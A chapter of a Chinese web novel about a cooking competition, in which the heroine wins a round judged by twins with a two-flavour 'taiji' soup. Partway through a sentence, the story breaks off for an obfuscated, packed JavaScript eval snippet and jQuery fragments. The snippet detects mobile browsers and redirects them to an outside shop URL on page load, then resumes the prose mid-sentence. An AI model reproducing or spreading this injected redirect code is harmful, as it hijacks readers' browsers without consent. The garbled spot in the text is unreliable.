《美味修罗场》的评审台上，原本属于华骄评审的座位空空如也。她向来是《美味修罗场》的开心果，她的缺席无疑给比赛蒙上一层阴影。


    但比赛仍将继续。


    水幕缓缓拉开，浮现出四个大字——“好食成双”。


    一对约莫十六七岁的双胞胎少年缓缓走上台。他们穿着相同的蓝色T恤和卡其色裤子，发型一致，甚至连步伐都是相同大小。


    他们安静地坐在，双手整齐地放在膝盖上，面无表情。


    “我喜欢红色。”


    “我喜欢紫色。”


    “我喜欢运动。”


    “我喜欢音乐。”


    “我喜食荤。”


    “我喜食素。”


    “我喜食咸。”


    “我喜食甜。”


    ……


    双胞胎你一言我一语，只片刻便说了一大堆要求。见众人已头晕脑胀，才露出一个狡黠的微笑，异口同声道：“请为我们做一道符合口味的菜。”


    唐心没有急着动手，她仔细观察着这对极其相似的双胞胎。


    天下有长得一模一样的人，却未曾有一模一样的灵魂，从他们的语气及爱好中，便可见一斑。


    他们根本不喜欢同样的东西。


    这道题远比表面复杂。


    一道菜中，既要有荤有素，又要有咸有甜，还得做出精致的模样……


    “这还不简单，我就做一道双味鱼吧。一半做成松鼠鳜鱼，一半做成清蒸鱼片，再配上些豌豆苗，岂不是尽善尽美？”


    涂逗为自己轻而易举地就想出这样一个好办法而自鸣得意。


    而邱魁似乎完全忽视了双胞胎的自陈，完全沉浸在自己的世界里。


    “既是双胞胎，那摆盘的时候便设计成双成对的模样，每人一份。”


    “可是他们似乎口味不一样啊……”


    伽紫路过他身边，小声嘀咕着。


    “你不懂，”邱魁自信满满，“这是艺术。”


    唐心细细思索着双胞胎的话，一道菜慢慢在她脑海中成型——


    太极羹，一道菜，两种风味，既对立又统一。


    她走到料理台后，揭开一个大竹笼。那饱满的梭子蟹，已在竹笼中静候多时。她的手执小刀，三下五除二地动作了几番，便剔出一块洁白的蟹肉，她将蟹肉撕成极细的丝，丝丝缕缕地落入白瓷碗中，宛如一团初雪，微微透着清甜。


    接着，是极其考验耐心与刀工的豆腐。


    唐心细细挑选了一把四指宽的桑刀，刀身薄如白纸，在清水中蘸过，泛着幽冷的青光。


    她并没有急着下刀，而是先以指尖细细感受豆腐的质地。待大致有了成算，刀尖便无声地没入豆腐一角，手腕以肉眼几乎无法察觉的幅度震动，刀刃垂直起落，快得只剩下一片模糊的光影。豆腐在她手下，仿佛被施了定身法，任凭刀锋进出，兀自纹丝不动。直到最后一刀收势，她将整块豆腐轻轻推入盛满清水的阔口大碗中，奇迹发生了——


    清水微微波动着，豆腐仿佛瞬间被解除了定身术一般，数千根细如发丝、柔似垂柳的豆腐丝悠然散开，根根分明，在水中浮浮沉沉，绽开出一朵华丽的白色菊花。


    与此同时，太极羹的另一味“甜”，也在炉灶上静静酝酿着。


    铁棍山药在灶上蒸得烂熟，剥去焦褐的外皮，露出羊脂玉般的内心。石杵与石钵摩擦，发出沉稳的咚咚声，切成小段的山药被细细研磨，细腻得没有一丝颗粒，如同流动的乳酪。


    新剥的豌豆，翠绿欲滴，在一汪清甜的泉水中慢慢熬煮，直至酥烂，再过一遍细筛，滤出的豆泥鲜亮澄澈，带着春天田野最纯粹的气息。


    碧绿的豌豆泥与雪白的山药泥在小砂锅中缓缓交融，再调入一勺色泽如琥珀般的蜂蜜。于是，这来自山野的时蔬，便掺入了几分余韵悠长的蜜甜。


    初雪般的蟹肉丝与细如发丝的豆腐丝一同落入老母鸡、干贝与火腿精心吊出的高汤里，汤色清澈，而味道醇厚，方可承载两种截然不同的风味。而火候则是关键，需用文火，让汤面保持着“虾眼沸”的状态——微微冒着小气泡，却不至于沸腾着翻滚。


    芡粉用山泉水调开，唐心左手持勺，在锅中划着温柔的圆弧，右手将芡汁细细注入锅中。汤汁在她的搅动下，渐渐变得浓稠，泛着丝绸般温润的光泽。


    蟹肉的鲜与豆腐的醇，在这浓稠的介质中完美融合，白色的水汽袅袅升起，伴随着几缕人间至味的咸鲜。


    另一个小锅中的碧绿甜羹，则更需小心呵护，白瓷勺时刻不停地在锅中朝着同一个方向搅拌，汤汁浓郁却不失灵动，像初春的湖水，温润可爱。


    “请各位选手注意，还剩最后十分钟。”


    节目组无情的报时声准时响了起来。


    祝荪的一虾双吃已然出锅，但她忽然意识到自己犯了个致命错误——她在菜中使用了大量的蒜。


    而方才坐在左边的男孩，似乎说过，他不吃蒜……


    她额头冒出冷汗，但此时重新准备已经来不及了。


    而邱魁因为他追求的对称美学忙得手忙脚乱，一时觉得两块羊肉大小不一，一时觉得两颗土豆不够圆润，争分夺秒地调整着，却打乱了烹饪节奏，导致黑椒酱汁略有烧糊。他懊恼地拍着脑袋，后悔不迭。


    唐心这边正到了最关键的时刻。


    她略尝了尝两锅羹汤，正是好时候——她特意让咸味一侧保持微烫，以激发咸鲜风味；甜味一侧则稍凉，以增强清甜口感。


    随后，她取出一只盘底光滑如镜的素白深盘。两只素胎汤勺，一勺盛着乳白咸羹，一勺盛着碧绿甜羹，随着微微倾斜的手腕，两道颜色、味道各异的暖流，以相同的速度，沿着盘壁，在同一时间，顺从地滑入盘中。


    乳白的汤汁里，隐约可见丝丝蟹肉与那细到极致的豆腐丝；碧绿的甜羹里，融合着豌豆与山药的绵密。他们彼此环绕，却泾渭分明。在即将合拢成一个正圆的刹那，她迅速取过一根尖头竹签，在双色交汇的中心，手腕如画师运笔，勾勒出一道优美的弧线。


    只一笔，便分开阴阳。


    混沌的圆被赋予了灵魂，化为相互依存的双鱼。


    “时间到，全部停手！”


    主厨魔鬼般的声音响了起来，料理台前的兵荒马乱瞬间平静了下来。


    所有的菜品被依次端到这对可爱的双胞胎面前。


    坐在左边看起来活泼好动的男孩皱着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601472|183884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眉，抽动了一下鼻子，厌恶地推开了眼前的“一虾二吃”。


    “我不吃蒜，这个拿走。”


    坐在右边的男孩，则指着邱魁做的双子羊排，满脸不悦：“我们是孪生兄弟不错，但不代表我们喜欢吃一样的东西，是方才说得还不够清楚吗？”


    两道菜还未入口，便被端了下去。


    叛逆期的小孩，比最严厉的评委还要挑剔。


    方才还因为本轮主题赛的嘉宾是两个小孩儿而起了轻视之心的选手，背后暗暗沁出了汗。


    涂逗的双味鱼被推到一旁——左边的男孩尝了一口便苦着脸抱怨：“怎么有葱味？”


    “可是，松鼠鳜鱼里没放葱啊……”


    涂逗困惑着挠着头，随后恍然大悟：他忘记区分砧板，导致两道菜窜味了。


    这小屁孩，舌头怎么如此灵敏？


    他颓然低头，明白自己犯了一个专业厨师不该犯的错误。


    ……


    少年们挑挑拣拣地品尝了一番，当一个白色深碟放置在眼前时，青白分明的太极图案让两人同时睁大眼睛。


    “这是什么？”男孩们头一次主动开口问道。


    “太极羹。”


    唐心上前一步，递给男孩们两个瓷白的勺子，解释道。


    “白色的这边是海鲜羹，绿色的这边是田园羹。两边味道各不相同，喜欢吃哪边便取用哪边。”


    男孩们半信半疑地看了眼瞧不出内容的汤羹，分别舀了一勺。


    瓷白的勺子穿过浓稠的羹汤，带起味道分明的羹汤。


    左边的男孩尝了一口，眼睛瞬间亮了：“嗯……蟹肉、豆腐，我这边是海鲜羹，打底的高汤极其鲜美，还有豆腐，是如何切得这么细的？混在羹汤中，入口即化，顺着喉道就滑到了肚中。好吃！”


    右边的男孩也露出惊喜的笑容：“口感绵密，山药粉糯甘甜，豌豆温和清甜，好似还有一丝若有似无的甜意，好吃！”


    二人交换着品尝了对方的部分，却也不觉得难吃，两种汤羹似乎因着相同基调的高汤有了一种极其相似的底味。


    他们你一勺我一勺地吃掉了大部分的汤羹，若非主厨出声阻止，说不定还未轮到评审品尝，便已见了底。


    这是今天第一次有选手的菜被几乎全部吃完。


    主厨与严绥评委品尝过所有的菜后，彼此交换了一个眼神，点了点头。


    今日实在是发生了太多的事情。此刻，所有的人都只想尽快完成录制。


    因而，没有过多的点评与争执，二人头一次意见如此一致地做下决定。


    “胜负已分。”主厨高声宣布，“第四轮主题赛的胜者是——唐心。”


    双胞胎们高高兴兴地鼓起了掌，而参赛选手们愁眉苦脸地收拾起了乱糟糟的料理台。


    如主厨之前所说，本轮主题赛的淘汰者有两名，如今，他们离着那淘汰的舞台又近了一步。所有的选手都提心吊胆地等待着头顶的剑落下。


    果不其然，主题赛的嘉宾才离开不久，主厨冷酷的身影便出现在了中央厨房，他的眼神扫视着战战兢兢的选手们，眼神精准地落在了他所思之处。


    “涂逗、邱魁、祝荪，你们三人上前来。”